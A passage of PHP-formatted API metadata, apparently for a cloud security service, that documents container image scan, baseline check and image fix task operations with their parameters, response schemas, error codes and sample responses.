], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **20**'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '8AC52BBA-85D3-5F64-9B48-D08437CAF916', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page. Default value: **1**'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **20**'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of tasks returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '12', ], 'Count' => [ 'description' => 'The number of tasks returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '12', ], ], ], 'BuildTasks' => [ 'description' => 'The tasks returned.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'BuildTaskId' => [ 'description' => 'The ID of the task.'."\n", 'type' => 'string', 'example' => 'ivf-939536b5-c3ca-427b-8183-91007756', ], 'TaskType' => [ 'description' => 'The type of the task. The value is fixed as IMAGE_REPAIR. The value indicates a task that fixes image risks.'."\n", 'type' => 'string', 'example' => 'IMAGE_REPAIR', ], 'RepoNamespace' => [ 'description' => 'The namespace of the image.'."\n", 'type' => 'string', 'example' => 'name-002', ], 'RepoName' => [ 'description' => 'The name of the image repository.'."\n", 'type' => 'string', 'example' => 'test-redhat', ], 'RegionId' => [ 'description' => 'The region of the image.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'OldTag' => [ 'description' => 'The version of the image.'."\n", 'type' => 'string', 'example' => 'centos8.1-ja', ], 'OldUuid' => [ 'description' => 'The UUID of the image.'."\n", 'type' => 'string', 'example' => '2fa731681911ae8d1b5f11893ace****', ], 'NewTag' => [ 'description' => 'The version of the image after image risks are fixed.'."\n", 'type' => 'string', 'example' => 'redhat8-vault', ], 'NewUuid' => [ 'description' => 'The UUID of the image after image risks are fixed.'."\n", 'type' => 'string', 'example' => '2fa731681911ae8d1b5f11893ace****', ], 'FixTime' => [ 'description' => 'The timestamp when the task ends. Unit: milliseconds.'."\n", 'type' => 'string', 'example' => '2021-10-14 20:32:05', ], 'FinishTime' => [ 'description' => 'The timestamp when the task starts. Unit: milliseconds.'."\n", 'type' => 'string', 'example' => '2021-10-14 20:34:07', ], 'Status' => [ 'description' => 'The status of the task. Valid values:'."\n" ."\n" .'* **1**: The task is running.'."\n" .'* **2**: The task is successful.'."\n" .'* **3**: The task failed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'VulAlias' => [ 'description' => 'The alias of the fixed vulnerability.'."\n", 'type' => 'string', 'example' => 'CVE-2007-5686:rpath_linux Information Disclosure', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"8AC52BBA-85D3-5F64-9B48-D08437CAF916\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 12,\\n \\"Count\\": 12\\n },\\n \\"BuildTasks\\": [\\n {\\n \\"BuildTaskId\\": \\"ivf-939536b5-c3ca-427b-8183-91007756\\",\\n \\"TaskType\\": \\"IMAGE_REPAIR\\",\\n \\"RepoNamespace\\": \\"name-002\\",\\n \\"RepoName\\": \\"test-redhat\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"OldTag\\": \\"centos8.1-ja\\",\\n \\"OldUuid\\": \\"2fa731681911ae8d1b5f11893ace****\\",\\n \\"NewTag\\": \\"redhat8-vault\\",\\n \\"NewUuid\\": \\"2fa731681911ae8d1b5f11893ace****\\",\\n \\"FixTime\\": \\"2021-10-14 20:32:05\\",\\n \\"FinishTime\\": \\"2021-10-14 20:34:07\\",\\n \\"Status\\": 2,\\n \\"VulAlias\\": \\"CVE-2007-5686:rpath_linux Information Disclosure\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 8AC52BBA-85D3-5F64-9B48-D08437CAF916\\n \\n 1\\n 20\\n 12\\n 12\\n \\n \\n ivf-939536b5-c3ca-427b-8183-91007756\\n IMAGE_REPAIR\\n name-002\\n test-redhat\\n cn-hangzhou\\n centos8.1-ja\\n 2fa731681911ae8d1b5f11893ace****\\n redhat8-vault\\n 2fa731681911ae8d1b5f11893ace****\\n 2021-10-14 20:32:05\\n 2021-10-14 20:34:07\\n 2\\n \\n","errorExample":""}]', 'title' => 'DescribeImageFixTask', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeImageScanAuthCount' => [ 'summary' => 'Queries the details of the quota for container image scan.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => '892NYH839-0EDC-4CD0-A2EF-5BD294656C99', ], 'ImageScan' => [ 'description' => 'The details about the quota for container image scan.', 'type' => 'object', 'properties' => [ 'ScanCount' => [ 'description' => 'The consumed quota for container image scan.', 'type' => 'integer', 'format' => 'int64', 'example' => '5489', ], 'ImageScanCapacity' => [ 'description' => 'The quota for container image scan.', 'type' => 'integer', 'format' => 'int64', 'example' => '15340', ], 'InstanceId' => [ 'description' => 'The instance ID of Security Center.', 'type' => 'string', 'example' => 'sas-qdl123412****', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"892NYH839-0EDC-4CD0-A2EF-5BD294656C99\\",\\n \\"ImageScan\\": {\\n \\"ScanCount\\": 5489,\\n \\"ImageScanCapacity\\": 15340,\\n \\"InstanceId\\": \\"sas-qdl123412****\\"\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 892NYH839-0EDC-4CD0-A2EF-5BD294656C99\\n \\n 5489\\n 15340\\n sas-qdl123412****\\n \\n","errorExample":""}]', 'title' => 'DescribeImageScanAuthCount', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeImageBaselineCheckSummary' => [ 'summary' => 'Queries the check results of image baselines that are included in an image scan task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'RiskLevel', 'in' => 'query', 'schema' => [ 'description' => 'The severity of the image baseline that you want to query. Separate multiple severities with commas (,). Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'required' => false, 'example' => 'high', ], ], [ 'name' => 'Criteria', 'in' => 'query', 'schema' => [ 'description' => 'The search condition for the image baseline.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Unauthorized access', ], ], [ 'name' => 'CriteriaType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the search condition. Valid values:'."\n" ."\n" .'* **BaselineNameAlias**: baseline name'."\n" .'* **BaselineClassAlias**: baseline category'."\n", 'type' => 'string', 'required' => false, 'example' => 'BaselineNameAlias', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Pages start from page **1**. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the specified container cluster.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the ID of the container cluster.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c60b77fe62093480db6164a3c2fa5****', ], ], [ 'name' => 'ScanRange', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The types of the assets that you want to scan.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the asset that you want to scan. Valid values:'."\n" ."\n" .'* **container**'."\n" .'* **image**'."\n", 'type' => 'string', 'required' => false, 'example' => 'container', ], 'required' => false, 'maxItems' => 2, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '5BD95679-D63A-4151-97D0-188432F4A57', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], ], ], 'BaselineResultSummary' => [ 'description' => 'An array that consists of the check results of image baselines.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the baseline risks. Valid values:'."\n" ."\n" .'* **0**: unfixed'."\n" .'* **1**: fixed'."\n" .'* **2**: pending verification'."\n" .'* **3**: fixing failed'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'MiddleRiskImage' => [ 'description' => 'The number of images on which **medium** baseline risks are detected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'BaselineNameLevel' => [ 'description' => 'The severity of the image baseline. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'high', ], 'LastScanTime' => [ 'description' => 'The timestamp generated when the last scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1626628760000', ], 'HighRiskImage' => [ 'description' => 'The number of images on which **high** baseline risks are detected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '15', ], 'BaselineNameKey' => [ 'description' => 'The keyword of the baseline name.'."\n", 'type' => 'string', 'example' => 'hc_image_exploit', ], 'BaselineClassKey' => [ 'description' => 'The keyword of the baseline category.'."\n", 'type' => 'string', 'example' => 'hc_image_exploit', ], 'BaselineNameAlias' => [ 'description' => 'The name of the baseline.'."\n", 'type' => 'string', 'example' => 'Unauthorized access', ], 'BaselineClassAlias' => [ 'description' => 'The category of the baseline.'."\n", 'type' => 'string', 'example' => 'Unauthorized access', ], 'FirstScanTime' => [ 'description' => 'The timestamp generated when the first scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1626628760000', ], 'LowRiskImage' => [ 'description' => 'The number of images on which **low** baseline risks are detected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"5BD95679-D63A-4151-97D0-188432F4A57\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 3,\\n \\"Count\\": 3\\n },\\n \\"BaselineResultSummary\\": [\\n {\\n \\"Status\\": 0,\\n \\"MiddleRiskImage\\": 0,\\n \\"BaselineNameLevel\\": \\"high\\",\\n \\"LastScanTime\\": 1626628760000,\\n \\"HighRiskImage\\": 15,\\n \\"BaselineNameKey\\": \\"hc_image_exploit\\",\\n \\"BaselineClassKey\\": \\"hc_image_exploit\\",\\n \\"BaselineNameAlias\\": \\"Unauthorized access\\",\\n \\"BaselineClassAlias\\": \\"Unauthorized access\\",\\n \\"FirstScanTime\\": 1626628760000,\\n \\"LowRiskImage\\": 0\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 5BD95679-D63A-4151-97D0-188432F4A57\\n \\n 1\\n 20\\n 3\\n 3\\n \\n \\n 0\\n 0\\n high\\n 1626628760000\\n 15\\n hc_image_exploit\\n hc_image_exploit\\n 未授权访问\\n 未授权访问\\n 1626628760000\\n 0\\n \\n","errorExample":""}]', 'title' => 'DescribeImageBaselineCheckSummary', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'PublicPreCheckImageScanTask' => [ 'summary' => 'Queries the number of images to scan in an image scan task and the quota for container image scan to be consumed by the task.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '119144', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'RegistryTypes', 'in' => 'query', 'schema' => [ 'description' => 'The type of the image repository. Separate multiple types with commas (,). Valid values:'."\n" ."\n" .'* **acr**'."\n" .'* **harbor**'."\n" .'* **quay**'."\n", 'type' => 'string', 'required' => false, 'example' => 'acr', ], ], [ 'name' => 'RegionIds', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the image. Separate multiple IDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'InstanceIds', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the Container Registry instance in which the image repository is created. Separate multiple IDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => 'i-uf6j8vq9l4r5ntht****', ], ], [ 'name' => 'RepoNamespaces', 'in' => 'query', 'schema' => [ 'description' => 'The namespace to which the image repository belongs. Separate multiple namespaces with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => 'hanghai-namespace', ], ], [ 'name' => 'RepoIds', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the image repository. Separate multiple IDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => 'crr-vridcl4****', ], ], [ 'name' => 'RepoNames', 'in' => 'query', 'schema' => [ 'description' => 'The name of the image repository. Separate multiple names with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => 'centos', ], ], [ 'name' => 'Digests', 'in' => 'query', 'schema' => [ 'description' => 'The SHA-256 value of the image digest. Separate multiple SHA-256 values with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => '6a5e103187b31a94592a47a5858617f7****', ], ], [ 'name' => 'Tags', 'in' => 'query', 'schema' => [ 'description' => 'The tag that is added to the image. Separate multiple tags with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => '0.2', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'F9353221-40F4-5F98-B73C-2803DC804033', ], 'Data' => [ 'description' => 'The data returned if the call is successful.'."\n", 'type' => 'object', 'properties' => [ 'ScanImageCount' => [ 'description' => 'The quota for container image scan to be consumed by the task.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'NeedAuthCount' => [ 'description' => 'The number of images to scan in the task.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '6', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"F9353221-40F4-5F98-B73C-2803DC804033\\",\\n \\"Data\\": {\\n \\"ScanImageCount\\": 3,\\n \\"NeedAuthCount\\": 6\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n F9353221-40F4-5F98-B73C-2803DC804033\\n \\n 3\\n 6\\n \\n","errorExample":""}]', 'title' => 'PublicPreCheckImageScanTask', 'description' => 'You can call the PublicPreCheckImageScanTask operation to estimate the quota for container image scan to be consumed by the task. This ensures that you know the quota to be consumed before you perform the task. If the remaining quota for container image scan is less than the quota to be consumed by the task, you must purchase a sufficient quota. This prevents the task from being stopped due to an insufficient quota.'."\n" ."\n" .'If you do not specify the optional parameters when you call this operation, the total number of protected images and the quota for container image scan to be consumed by scanning all the protected images are queried. If you specify the optional parameters, the number of images that meet the specified conditions and the quota for container image scan to be consumed by scanning the images are queried.'."\n", ], 'PublicCreateImageScanTask' => [ 'summary' => 'Creates an image scan task.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '119152', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168..XX.XX', ], ], [ 'name' => 'RegistryTypes', 'in' => 'query', 'schema' => [ 'description' => 'The type of the image repository. Separate multiple types with commas (,). Valid values:'."\n" ."\n" .'* **acr**'."\n" .'* **harbor**'."\n" .'* **quay**'."\n", 'type' => 'string', 'required' => false, 'example' => 'acr', ], ], [ 'name' => 'RegionIds', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the image. Separate multiple IDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'InstanceIds', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the Container Registry instance in which the image repository is created. Separate multiple IDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => 'i-uf6j8vq9l4r5ntht****', ], ], [ 'name' => 'RepoNamespaces', 'in' => 'query', 'schema' => [ 'description' => 'The namespace to which the image repository belongs. Separate multiple namespaces with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => 'hanghai-namespace', ], ], [ 'name' => 'RepoIds', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the image repository. Separate multiple IDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => 'crr-vridcl4****', ], ], [ 'name' => 'RepoNames', 'in' => 'query', 'schema' => [ 'description' => 'The name of the image repository. Separate multiple names with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => 'centos', ], ], [ 'name' => 'Digests', 'in' => 'query', 'schema' => [ 'description' => 'The SHA-256 value of the image digest. Separate multiple SHA-256 values with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => '6a5e103187b31a94592a47a5858617f7a6c', ], ], [ 'name' => 'Tags', 'in' => 'query', 'schema' => [ 'description' => 'The tag that is added to the image. Separate multiple tags with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => '0.2', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'F9353221-40F4-5F98-B73C-2803DC804033', ], 'Data' => [ 'description' => 'The data returned if the call is successful.'."\n", 'type' => 'object', 'properties' => [ 'TaskId' => [ 'description' => 'The ID of the image scan task.'."\n", 'type' => 'string', 'example' => 'a410bb3e68c217a3368bc0238c66886d', ], 'TotalCount' => [ 'description' => 'The total number of images to scan.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'FinishCount' => [ 'description' => 'The number of images that have been scanned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'CollectTime' => [ 'description' => 'The timestamp when the image information was collected. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1644286364150', ], 'ExecTime' => [ 'description' => 'The timestamp when the image scan task started to run. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1644286364150', ], 'Status' => [ 'description' => 'The status of the image scan task. Valid values:'."\n" ."\n" .'* **INIT**: The task is being initialized.'."\n" .'* **PRE_ANALYZER**: The task is being pre-processed.'."\n" .'* **SUCCESS**: The task is successful.'."\n" .'* **FAIL**: The task fails.'."\n", 'type' => 'string', 'example' => 'SUCCESS', ], 'Progress' => [ 'description' => 'The progress of the image scan task in percentage.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'Result' => [ 'description' => 'The result of the image scan task. Valid values:'."\n" ."\n" .'* **SUCCESS**: The task is successful.'."\n" .'* **TASK_NOT_SUPPORT_REGION**: The images are deployed in a region that is not supported by container image scan.'."\n" ."\n" .'> For more information about the regions supported by container image scan, see the "Regions supported by container image scan" section in this topic.'."\n", 'type' => 'string', 'example' => 'SUCCESS', ], 'CanCreate' => [ 'description' => 'Indicates whether you can create more image scan tasks. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n" ."\n" .'> By default, a maximum of 10 image scan tasks can be running at the same time. If 10 image scan tasks are running, you cannot create an image scan task by calling this operation. You must wait for at least one of the 10 existing image scan tasks to complete before you can create an image scan task.'."\n", 'type' => 'boolean', 'example' => 'true', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'BeyondQuata', 'errorMessage' => 'Please check the scan quota', ], [ 'errorCode' => 'TaskNumEmpty', 'errorMessage' => 'Create task quantity is empty.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"F9353221-40F4-5F98-B73C-2803DC804033\\",\\n \\"Data\\": {\\n \\"TaskId\\": \\"a410bb3e68c217a3368bc0238c66886d\\",\\n \\"TotalCount\\": 5,\\n \\"FinishCount\\": 5,\\n \\"CollectTime\\": 1644286364150,\\n \\"ExecTime\\": 1644286364150,\\n \\"Status\\": \\"SUCCESS\\",\\n \\"Progress\\": 100,\\n \\"Result\\": \\"SUCCESS\\",\\n \\"CanCreate\\": true\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n F9353221-40F4-5F98-B73C-2803DC804033\\n \\n a410bb3e68c217a3368bc0238c66886d\\n 5\\n 5\\n 1644286364150\\n 1644286364150\\n SUCCESS\\n 100\\n SUCCESS\\n true\\n \\n","errorExample":""}]', 'title' => 'PublicCreateImageScanTask', 'description' => 'Before you call the PublicCreateImageScanTask operation, we recommend that you call the [PublicPreCheckImageScanTask](~~PublicPreCheckImageScanTask~~) operation to query the number of images to scan and the quota for container image scan to be consumed by the image scan task. Make sure that the remaining quota for container image scan is sufficient. This prevents the task from being stopped due to an insufficient quota.'."\n", 'responseParamsDescription' => '**Regions supported by container image scan**'."\n" ."\n" .'|Region|City|Region ID|'."\n" .'|:---:|:---:|:---:|'."\n" .'|China (Hangzhou)|Hangzhou|cn-hangzhou|'."\n" .'|China (Shanghai)|Shanghai|cn-shanghai|'."\n" .'|China (Shenzhen)|Shenzhen|cn-shenzhen|'."\n" .'|China (Qingdao)|Qingdao|cn-qingdao|'."\n" .'|China (Beijing)|Beijing|cn-beijing|'."\n" .'|China (Zhangjiakou)|Zhangjiakou|cn-zhangjiakou|'."\n" .'|China (Hohhot)|Hohhot|cn-huhehaote|'."\n" .'|China (Hong Kong)|Hong Kong|cn-hongkong|'."\n" .'|Japan (Tokyo)|Tokyo|ap-northeast-1|'."\n" .'|Indonesia (Jakarta)|Jakarta|ap-southeast-5|'."\n" .'|US (Silicon Valley)|Silicon Valley|us-west-1|'."\n" .'|US (Virginia)|Virginia|us-east-1|'."\n" .'|Germany (Frankfurt)|Frankfurt|eu-central-1|'."\n" .'|UK (London)|London|eu-west-1|', ], 'PublicSyncAndCreateImageScanTask' => [ 'summary' => 'Adds images to Security Center and creates an image scan task to scan the images.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.X.X', ], ], [ 'name' => 'Images', 'in' => 'query', 'schema' => [ 'description' => 'The information about the images. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **RegistryType**: the type of the image repository. Valid values:'."\n" ."\n" .' * acr'."\n" .' * harbor'."\n" .' * quay'."\n" ."\n" .'* **RepoId**: the ID of the image repository.'."\n" ."\n" .'* **InstanceId**: the ID of the Container Registry instance to which the image repository belongs.'."\n" ."\n" .'* **RepoNamespace**: the namespace to which the image repository belongs.'."\n" ."\n" .'* **RegionId**: the region ID of the image.'."\n" ."\n" .'* **RepoName**: the name of the image repository.'."\n" ."\n" .'* **Digest**: the digest of the image.'."\n" ."\n" .'* **Tag**: the tag that is added to the image.'."\n" ."\n" .'* **CreateTime**: the timestamp when the image was created. Unit: milliseconds.'."\n" ."\n" .'* **UpdateTime**: the timestamp when the image was updated. Unit: milliseconds.'."\n", 'type' => 'string', 'required' => true, 'example' => '[{"registryType":"acr","repoId":"crr-red9kgqqi0fh75d5","instanceId":"cri-1x2qtjd75ofqvfa8","repoNamespace":"1125","regionId":"cn-hangzhou","repoName":"script1","digest":"b1064a5007786b6f82a50772858e8156bc1e5fbddb7dd20af6922761ad197fe4","tag":"v0113-ver2","createTime":1641267666666,"updateTime":1641267909090}]', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'F9353221-40F4-5F98-B73C-2803DC804033', ], 'Data' => [ 'description' => 'The data returned if the call is successful.'."\n", 'type' => 'object', 'properties' => [ 'TaskId' => [ 'description' => 'The ID of the image scan task.'."\n", 'type' => 'string', 'example' => 'a410bb3e68c217a3368bc0238c66886d', ], 'TotalCount' => [ 'description' => 'The total number of images to scan.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'FinishCount' => [ 'description' => 'The number of images that have been scanned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'CollectTime' => [ 'description' => 'The timestamp when the image information was collected. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1644286364150', ], 'ExecTime' => [ 'description' => 'The timestamp when the image scan task started to run. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1644286364150', ], 'Status' => [ 'description' => 'The status of the image scan task. Valid values:'."\n" ."\n" .'* **INIT**: The task is being initialized.'."\n" .'* **PRE_ANALYZER**: The task is being pre-processed.'."\n" .'* **SUCCESS**: The task is successful.'."\n" .'* **FAIL**: The task failed.'."\n", 'type' => 'string', 'example' => 'SUCCESS', ], 'Progress' => [ 'description' => 'The progress of the image scan task.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'Result' => [ 'description' => 'The result of the image scan task. Valid values:'."\n" ."\n" .'* **SUCCESS**: The task is successful.'."\n" .'* **TASK\\_NOT\\_SUPPORT_REGION**: The image is deployed in a region that is not supported by container image scan.', 'type' => 'string', 'example' => 'SUCCESS', ], 'CanCreate' => [ 'description' => 'Indicates whether you can create more image scan tasks. 